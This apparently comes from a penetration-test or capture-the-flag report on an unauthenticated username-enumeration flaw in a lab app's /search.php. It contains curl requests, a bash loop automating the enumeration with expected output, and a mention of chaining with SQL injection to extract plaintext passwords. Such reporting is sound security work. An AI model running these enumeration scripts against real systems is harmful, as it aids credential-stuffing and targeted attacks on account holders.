# Authorization Exploitation Evidence

## Successfully Exploited Vulnerabilities

### AUTHZ-VULN-01: Anonymous Username Enumeration via Search Endpoint

**Summary:**
- **Vulnerable location:** GET/POST `/search.php` endpoint (line 26 executes database query without authorization checks)
- **Overview:** The `/search.php` endpoint allows anonymous users to enumerate all usernames in the database without any authentication or authorization requirements. The endpoint accepts a `username` parameter and directly queries the users table, returning differential responses that reveal whether a username exists in the system.
- **Impact:** External attackers can gather intelligence on valid usernames for credential stuffing attacks, user profiling, and targeted social engineering. This constitutes a horizontal privilege escalation vulnerability as anonymous users gain access to user existence information that should require authentication or be restricted entirely.
- **Severity:** High - While this doesn't directly compromise credentials, it provides critical reconnaissance information that enables secondary attacks and violates the principle of least privilege by granting anonymous users access to user enumeration capabilities.

**Prerequisites:**
- Network access to http://localhost:8080
- No authentication required
- Standard HTTP client (curl, browser, Burp Suite)

**Exploitation Steps:**

1. Send a GET request to enumerate a known username without any authentication:
   ```bash
   curl "http://localhost:8080/search.php?username=admin"
   ```
   
   **Expected Response:** The server returns HTTP 200 with body containing:
   ```html
   You are connected successfully!<br/> User exists: admin<br/>
   ```

2. Verify differential responses by testing a non-existent username:
   ```bash
   curl "http://localhost:8080/search.php?username=nonexistentuser12345"
   ```
   
   **Expected Response:** The server returns HTTP 200 with body containing:
   ```html
   You are connected successfully!<br/> No results
   ```

3. Automate username enumeration to identify all valid accounts in the database:
   ```bash
   # Test common usernames
   for username in admin root user test guest administrator; do
       response=$(curl -s "http://localhost:8080/search.php?username=$username")
       if echo "$response" | grep -q "User exists:"; then
           echo "[FOUND] $username"
       else
           echo "[NOT FOUND] $username"
       fi
   done
   ```
   
   **Expected Output:** 
   ```
   [FOUND] admin
   [NOT FOUND] root
   [NOT FOUND] user
   [NOT FOUND] test
   [NOT FOUND] guest
   [NOT FOUND] administrator
   ```

4. The enumeration can also be performed via POST method using the same parameter:
   ```bash
   curl -X POST "http://localhost:8080/search.php" -d "username=admin"
   ```
   
   **Expected Response:** Identical to GET method - returns "User exists: admin"

**Proof of Impact:**

The following evidence demonstrates complete unauthorized access to user enumeration capabilities:

1. **Confirmed Username Existence:** Successfully identified that username "admin" exists in the database without any authentication:
   - Request: `GET /search.php?username=admin`
   - Response: `User exists: admin`
   - No session cookie required
   - No authentication header required

2. **Differential Response Analysis:** The application returns distinct responses for existing vs. non-existing users:
   - Existing user: `"User exists: [username]"`
   - Non-existing user: `"No results"`
   - This enables automated enumeration of all valid usernames

3. **Absence of Authorization Guards:** Code analysis confirms that the vulnerable endpoint at `/app/search.php:26` executes the database query:
   ```php
   $result = $conn->query($sql);
   ```
   WITHOUT any prior checks for:
   - User authentication (`$_SESSION` validation)
   - Authorization/permission verification
   - Rate limiting
   - CAPTCHA or anti-automation controls

4. **Complete Lack of Access Control:** Unlike the `/login.php` endpoint which requires valid credentials to disclose the FLAG, the `/search.php` endpoint has ZERO authorization requirements, allowing any anonymous internet user to query the users table.

**Notes:**

This vulnerability exemplifies a fundamental authorization failure where sensitive operations (database queries returning user information) are exposed to unauthenticated users. The application's architecture completely lacks the concept of authorization - there are no roles, no permission checks, and no differentiation between authenticated and anonymous users' capabilities.

While the database user (`appuser`) has only SELECT privileges (preventing data modification), this does not mitigate the authorization vulnerability. The core issue is that anonymous users should not have the ability to query user existence information at all.

This finding can be chained with the SQL injection vulnerability (separate vulnerability class) in the same endpoint to extract complete user records including plaintext passwords. However, the authorization bypass itself is independently exploitable for reconnaissance purposes.
